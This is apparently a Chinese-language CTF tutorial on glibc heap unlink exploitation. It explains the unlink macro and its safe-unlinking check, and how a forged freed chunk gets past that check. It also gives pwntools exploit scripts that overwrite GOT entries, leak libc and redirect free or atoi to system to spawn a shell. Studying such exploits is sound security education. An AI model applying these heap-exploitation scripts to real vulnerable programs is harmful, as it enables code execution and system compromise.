0%

Unlink


一.堆溢出unlink

条件:当使用 free 函数释放一个堆块时,如果相邻的堆块(前一个或后一个)也处于空闲状态,就可能触发 unlink 操作,以将相邻的空闲堆块合并成一个更大的空闲块,从而提高内存的利用率。具体来说,如果被 free 的堆块的 P 位为 0,说明其前一个堆块为空,就会对前一个堆块进行 unlink 操作,将前一个堆块与当前被 free 的堆块进行后向合并;如果相邻的下一个堆块处于空闲状态,则会进行向前合并。

unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量

img也就是这样

img

那具体拖链是如何实现的

1
2
3
4
FD = P->fd;                                   \
BK = P->bk; \
FD->bk = BK; \
BK->fd = FD; \

也就是我的上一个的下一个=我的下一个,我的下一个的上一个=我的上一个

FD = p->fd

FD = 堆块3chunk头所在的地址

BK = P->bk;

p->bk

BK = 堆块1chunk头所在的地址

FD->bk = BK;

堆块3的bk指针指向BK(堆块1chunk头所在地址)

BK->fd = FD;

堆块1的fd指针指向FD(堆块3chunk头所在地址)

1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

这个也就是p–>fd–>bk = p–>bk–>fd = p

堆块2的下一个堆块的上一个堆块 = 堆块2的上一个堆块的下一个堆块=堆块2

那么如何绕过与利用呢?

img

就解释一点吧

chunk = 0x602280

为什么BK->fd == *(0x602270+0x10)

因为chunk头-0x18就是bk指针所在的地址,*()也就是解引用bk指针的值,正常得到的是上一个堆块的chunk头所在的地址,在这里得到的就是堆块2chunk头所在的地址

在这里BK->fd =FD,就是*(0x602270+0x10) = 0x602268

也就是往chunk里面写入了chunk-0x18的值

也就是将堆指针指向的地址改成了chunk-0x18

然后我们往堆块2中写入东西,他就会往堆指针指向的地址里面写,也就是往这个地址里面写0x602268,顺着往下写就会写入0x602280,那么就可以将堆的指针指向的地址改为任意值,就实现任意地址写了

我们结合题目看一下

最最最重要的,要把头部构造在指针的位置

触发unlink一定要伪造一个free掉的堆块在指针处,因为unlink比较是和头部比较,而数组中存储的是指针的值,所以要伪造头部在指针处才能绕过保护

1.有打印堆块的功能

1
2
3
4
5
6
7
8
add(0x80,b'chunk0')
add(0x80,b'chunk1')
#bug()
payload = p64(0)+p64(0x81)+p64(0x06020C8-24)+p64(0x06020C8-16)+b'a'*0x60+p64(0x80)+p64(0x90)
edit(0,0x90,payload)
free(1)
payload = b'a'*24+p64(elf.got['atoi'])
edit(0,len(payload),payload)

申请两个在unsortbin的堆块,在堆块0中伪造一个free的堆块,并将堆块2的pre_inuse位设为0,这样就伪造堆块0为free掉的堆块,free堆块1就会触发unlink

chunk = 0x06020C8

fd = chunk-0x18

bk = chunk -0x10

看一下gdb

img

会很明显是往chunk里面写入了chunk - 0x18

然后我们接着修改堆块的内容,也就是往chunk - 0x18中写入数据,先写0x18个垃圾数据,然后再写的就是往chunk中写,也就是往指针所在的地址写,改变指针所存储的值,也就是指针指向的地址

我们将他写为atoi

payload = b’a’*24+p64(elf.got[‘atoi’])

img

可以看到已经成功了

此时可以泄露libc,我们打印这个堆块,就会将atoi的真实地址打印出来

我们再次修改这个堆块的内容,也就是修改atoi的got表,把他改成system,在调用atoi的时候就会触发system,获得shell

2.没有打印堆块的功能

没有打印堆块,我们就无法泄露libc,但是我们通过都能实现任意地址写了,我们可以将free的got表改为puts

free堆块时候,就可以打印

我们观察gdb,看具体是如何实现的

img
将第一个堆块指针指向的地址改为free的got表

第二个改为atoi的got表

然后修改第二个堆块的内容为puts函数的plt表这样free堆块时候,就会打印处来堆块的内容,泄露libc

img

然后在修改堆块2的内容为system的真实地址

在申请一个堆块,内容写为/bin/sh\x00

free这个堆块就可以获得shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
add(0x10)
add(0x80)
add(0x80)
FD = 0x602150-24
BK = 0x602150-16
payload = p64(0)+p64(0x81)+p64(FD)+p64(BK)+b'a'*0x60+p64(0x80)+p64(0x90)
edit(2,len(payload),payload)
free(3)
payload = p64(0)*2+p64(elf.got['free'])+p64(elf.got['atoi'])
edit(2,len(payload),payload)
#bug()
edit(1,0x8,p64(elf.plt['puts']))
free(2)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-libc.sym['atoi']
print(hex(libc_base))
system = libc_base+libc.sym['system']
edit(1,0x8,p64(system))
add(0x10)
payload = b'/bin/sh\x00'
edit(4,len(payload),payload)
#bug()
free(4)

最后:需要注意触发unlink free的堆块的上一个需要是free状态,所以我们要伪造堆块2为free状态,让后free堆块3就会触发unlink

那具体是如何伪造的?

我们在堆块2中再伪造一个假堆块

使pre_size = 0

size = 0xn1(n为伪造堆块大小)

fd = chunk-0x18

bk = chunk-0x10

使堆块3

pre_size = 0xn0

size = size(本堆块大小,0xm0) p位为0

这样就伪造堆块2为free状态,然后free堆块3,触发unlink,实现chunk = chunk-0x18

当off by one/null时候因为会多一个字节,free后面就是puts,puts的got表就会被破坏,所以要这样子改,将puts的got表改为printf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
edit(6,b'a'*51+p64(elf.got['free'])+p64(elf.got['atoi']))
edit(0,p64(elf.plt['puts'])+p64(elf.plt['printf']))
bug()
free(1)
atoi = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(atoi))
libc_base = atoi-libc.sym['atoi']
print(hex(libc_base))
bug()
system = libc_base +libc.sym['system']
edit(3,'/bin/sh')
edit(0,p64(system)+p64(elf.plt['printf']))
#bug()
free(3)

img

img

这里也能看到多了一个0xa

// 在最后添加